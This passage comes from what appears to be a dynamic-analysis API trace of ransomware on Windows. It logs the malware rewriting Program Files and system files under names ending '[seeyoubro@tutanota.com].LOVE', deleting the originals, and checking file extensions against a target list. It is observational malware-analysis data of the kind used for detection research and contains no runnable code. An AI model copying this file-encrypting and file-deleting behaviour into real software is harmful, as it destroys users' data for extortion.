lpOverlapped=0x0) returned 1 [0220.238] WriteFile (in: hFile=0x338, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x902c0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x902c0, lpOverlapped=0x0) returned 1 [0220.247] ReadFile (in: hFile=0x368, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.247] WriteFile (in: hFile=0x338, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x104, lpOverlapped=0x0) returned 1 [0220.247] SetEndOfFile (hFile=0x338) returned 1 [0220.247] CloseHandle (hObject=0x338) returned 1 [0220.247] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.247] SetEndOfFile (hFile=0x368) returned 1 [0220.252] CloseHandle (hObject=0x368) returned 1 [0220.252] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0220.252] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 1 [0220.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0220.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0220.254] lstrlenW (lpString=".doc") returned 4 [0220.254] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0220.254] lstrlenW (lpString=".docx") returned 5 [0220.254] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0220.254] lstrlenW (lpString=".pdf") returned 4 [0220.254] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0220.254] lstrlenW (lpString=".xls") returned 4 [0220.254] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0220.254] lstrlenW (lpString=".xlsx") returned 5 [0220.254] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0220.254] lstrlenW (lpString=".ppt") returned 4 [0220.254] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0220.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0220.254] lstrlenW (lpString=".zip") returned 4 [0220.254] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0220.254] lstrlenW (lpString=".rar") returned 4 [0220.254] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0220.254] lstrlenW (lpString=".bz2") returned 4 [0220.254] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0220.255] lstrlenW (lpString=".7z") returned 3 [0220.255] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0220.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0220.255] lstrlenW (lpString=".dbf") returned 4 [0220.255] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0220.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0220.255] lstrlenW (lpString=".1cd") returned 4 [0220.255] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0220.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0220.255] lstrlenW (lpString=".jpg") returned 4 [0220.255] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0220.257] GetLastError () returned 0x0 [0220.257] ReadFile (in: hFile=0x2d8, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0xf1b50, lpOverlapped=0x0) returned 1 [0220.322] WriteFile (in: hFile=0x35c, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0xf1b60, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0xf1b60, lpOverlapped=0x0) returned 1 [0220.339] ReadFile (in: hFile=0x2d8, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.339] WriteFile (in: hFile=0x35c, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0220.339] SetEndOfFile (hFile=0x35c) returned 1 [0220.339] CloseHandle (hObject=0x35c) returned 1 [0220.339] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.340] SetEndOfFile (hFile=0x2d8) returned 1 [0220.856] CloseHandle (hObject=0x2d8) returned 1 [0220.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0220.857] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll")) returned 1 [0220.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0220.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0220.858] lstrlenW (lpString=".doc") returned 4 [0220.858] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0220.858] lstrlenW (lpString=".docx") returned 5 [0220.858] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0220.858] lstrlenW (lpString=".pdf") returned 4 [0220.858] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0220.858] lstrlenW (lpString=".xls") returned 4 [0220.858] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0220.858] lstrlenW (lpString=".xlsx") returned 5 [0220.858] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0220.858] lstrlenW (lpString=".ppt") returned 4 [0220.858] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0220.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0220.858] lstrlenW (lpString=".zip") returned 4 [0220.858] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0220.858] lstrlenW (lpString=".rar") returned 4 [0220.858] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0220.858] lstrlenW (lpString=".bz2") returned 4 [0220.858] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0220.858] lstrlenW (lpString=".7z") returned 3 [0220.858] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0220.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0220.858] lstrlenW (lpString=".dbf") returned 4 [0220.858] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0220.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0220.858] lstrlenW (lpString=".1cd") returned 4 [0220.858] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0220.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0220.858] lstrlenW (lpString=".jpg") returned 4 [0220.858] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0220.873] GetLastError () returned 0x0 [0220.873] ReadFile (in: hFile=0x2d8, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x29080, lpOverlapped=0x0) returned 1 [0220.899] WriteFile (in: hFile=0x354, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x29090, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x29090, lpOverlapped=0x0) returned 1 [0220.903] ReadFile (in: hFile=0x2d8, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.903] WriteFile (in: hFile=0x354, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0xe8, lpOverlapped=0x0) returned 1 [0220.903] SetEndOfFile (hFile=0x354) returned 1 [0220.903] CloseHandle (hObject=0x354) returned 1 [0220.904] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.904] SetEndOfFile (hFile=0x2d8) returned 1 [0220.906] CloseHandle (hObject=0x2d8) returned 1 [0220.906] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0220.906] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll")) returned 1 [0220.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0220.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0220.907] lstrlenW (lpString=".doc") returned 4 [0220.907] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0220.907] lstrlenW (lpString=".docx") returned 5 [0220.907] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0220.907] lstrlenW (lpString=".pdf") returned 4 [0220.907] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0220.907] lstrlenW (lpString=".xls") returned 4 [0220.907] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0220.907] lstrlenW (lpString=".xlsx") returned 5 [0220.907] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0220.907] lstrlenW (lpString=".ppt") returned 4 [0220.907] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0220.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0220.907] lstrlenW (lpString=".zip") returned 4 [0220.907] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0220.907] lstrlenW (lpString=".rar") returned 4 [0220.907] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0220.907] lstrlenW (lpString=".bz2") returned 4 [0220.908] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0220.908] lstrlenW (lpString=".7z") returned 3 [0220.908] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0220.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0220.908] lstrlenW (lpString=".dbf") returned 4 [0220.908] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0220.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0220.908] lstrlenW (lpString=".1cd") returned 4 [0220.908] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0220.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0220.908] lstrlenW (lpString=".jpg") returned 4 [0220.908] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0220.945] GetLastError () returned 0x0 [0220.945] ReadFile (in: hFile=0x2d8, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x4298, lpOverlapped=0x0) returned 1 [0220.978] WriteFile (in: hFile=0x354, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x42a0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x42a0, lpOverlapped=0x0) returned 1 [0220.979] ReadFile (in: hFile=0x2d8, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0220.979] WriteFile (in: hFile=0x354, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0xee, lpOverlapped=0x0) returned 1 [0220.979] SetEndOfFile (hFile=0x354) returned 1 [0220.979] CloseHandle (hObject=0x354) returned 1 [0220.980] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0220.980] SetEndOfFile (hFile=0x2d8) returned 1 [0220.981] CloseHandle (hObject=0x2d8) returned 1 [0220.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0220.981] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb")) returned 1 [0220.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0220.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0220.983] lstrlenW (lpString=".doc") returned 4 [0220.983] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0220.983] lstrlenW (lpString=".docx") returned 5 [0220.983] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1 [0220.983] lstrlenW (lpString=".pdf") returned 4 [0220.983] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0220.983] lstrlenW (lpString=".xls") returned 4 [0220.983] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0220.983] lstrlenW (lpString=".xlsx") returned 5 [0220.983] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1 [0220.983] lstrlenW (lpString=".ppt") returned 4 [0220.983] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0220.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0220.983] lstrlenW (lpString=".zip") returned 4 [0220.983] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0220.983] lstrlenW (lpString=".rar") returned 4 [0220.983] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0220.983] lstrlenW (lpString=".bz2") returned 4 [0220.983] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0220.983] lstrlenW (lpString=".7z") returned 3 [0220.983] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0220.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0220.983] lstrlenW (lpString=".dbf") returned 4 [0220.983] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0220.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0220.984] lstrlenW (lpString=".1cd") returned 4 [0220.984] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0220.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0220.984] lstrlenW (lpString=".jpg") returned 4 [0220.984] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0220.984] GetLastError () returned 0x0 [0220.984] ReadFile (in: hFile=0x2d8, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x5898, lpOverlapped=0x0) returned 1 [0221.011] WriteFile (in: hFile=0x354, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x58a0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x58a0, lpOverlapped=0x0) returned 1 [0221.012] ReadFile (in: hFile=0x2d8, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0221.012] WriteFile (in: hFile=0x354, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0221.013] SetEndOfFile (hFile=0x354) returned 1 [0221.013] CloseHandle (hObject=0x354) returned 1 [0221.013] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0221.013] SetEndOfFile (hFile=0x2d8) returned 1 [0221.014] CloseHandle (hObject=0x2d8) returned 1 [0221.014] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0221.014] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb")) returned 1 [0221.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0221.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0221.015] lstrlenW (lpString=".doc") returned 4 [0221.015] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0221.015] lstrlenW (lpString=".docx") returned 5 [0221.015] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1 [0221.015] lstrlenW (lpString=".pdf") returned 4 [0221.015] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0221.015] lstrlenW (lpString=".xls") returned 4 [0221.015] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0221.015] lstrlenW (lpString=".xlsx") returned 5 [0221.015] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1 [0221.015] lstrlenW (lpString=".ppt") returned 4 [0221.015] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0221.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0221.015] lstrlenW (lpString=".zip") returned 4 [0221.015] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0221.015] lstrlenW (lpString=".rar") returned 4 [0221.015] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0221.015] lstrlenW (lpString=".bz2") returned 4 [0221.015] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0221.015] lstrlenW (lpString=".7z") returned 3 [0221.015] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0221.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0221.015] lstrlenW (lpString=".dbf") returned 4 [0221.016] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0221.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0221.016] lstrlenW (lpString=".1cd") returned 4 [0221.016] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0221.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0221.016] lstrlenW (lpString=".jpg") returned 4 [0221.016] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 Thread: id = 20 os_tid = 0xf34 [0194.578] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x3cb0958 [0194.578] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x3cc0960 [0194.579] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ee2a8 [0194.579] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x6) returned 0x7ec240 [0194.579] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ee098 [0194.579] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x100000) returned 0x3f72020 [0194.581] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ee0e0 [0194.581] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ee0e0, Size=0x20) returned 0x7e02a0 [0194.581] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ee248 [0194.581] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ee248, Size=0x20) returned 0x7e0070 [0194.581] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0194.581] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0194.581] Wow64DisableWow64FsRedirection (in: OldValue=0x369ff50 | out: OldValue=0x369ff50*=0x0) returned 1 [0194.581] lstrlenW (lpString="kernel32.dll") returned 12 [0194.581] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e02a0 | out: hHeap=0x790000) returned 1 [0194.581] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0194.582] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e0070 | out: hHeap=0x790000) returned 1 [0194.582] Sleep (dwMilliseconds=0x64) [0194.785] Sleep (dwMilliseconds=0x64) [0195.093] lstrcmpiW (lpString1=".cmd", lpString2=".LOVE") returned -1 [0195.093] lstrlenW (lpString="preoobe.cmd") returned 11 [0195.093] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0195.177] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=74) returned 1 [0195.177] CloseHandle (hObject=0x2c4) returned 1 [0195.177] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 0x20 [0195.178] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.178] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0195.178] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.178] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.178] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0195.178] GetLastError () returned 0x0 [0195.178] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x4a, lpOverlapped=0x0) returned 1 [0195.198] WriteFile (in: hFile=0x2c8, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x50, lpOverlapped=0x0) returned 1 [0195.199] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.199] WriteFile (in: hFile=0x2c8, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0xea, lpOverlapped=0x0) returned 1 [0195.200] SetEndOfFile (hFile=0x2c8) returned 1 [0195.200] CloseHandle (hObject=0x2c8) returned 1 [0195.200] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.200] SetEndOfFile (hFile=0x2c4) returned 1 [0195.201] CloseHandle (hObject=0x2c4) returned 1 [0195.201] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0195.202] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 1 [0195.202] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0195.202] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0195.202] lstrlenW (lpString=".doc") returned 4 [0195.202] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0195.202] lstrlenW (lpString=".docx") returned 5 [0195.202] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0195.202] lstrlenW (lpString=".pdf") returned 4 [0195.202] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0195.202] lstrlenW (lpString=".xls") returned 4 [0195.202] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0195.202] lstrlenW (lpString=".xlsx") returned 5 [0195.202] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0195.202] lstrlenW (lpString=".ppt") returned 4 [0195.202] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0195.202] lstrlenW 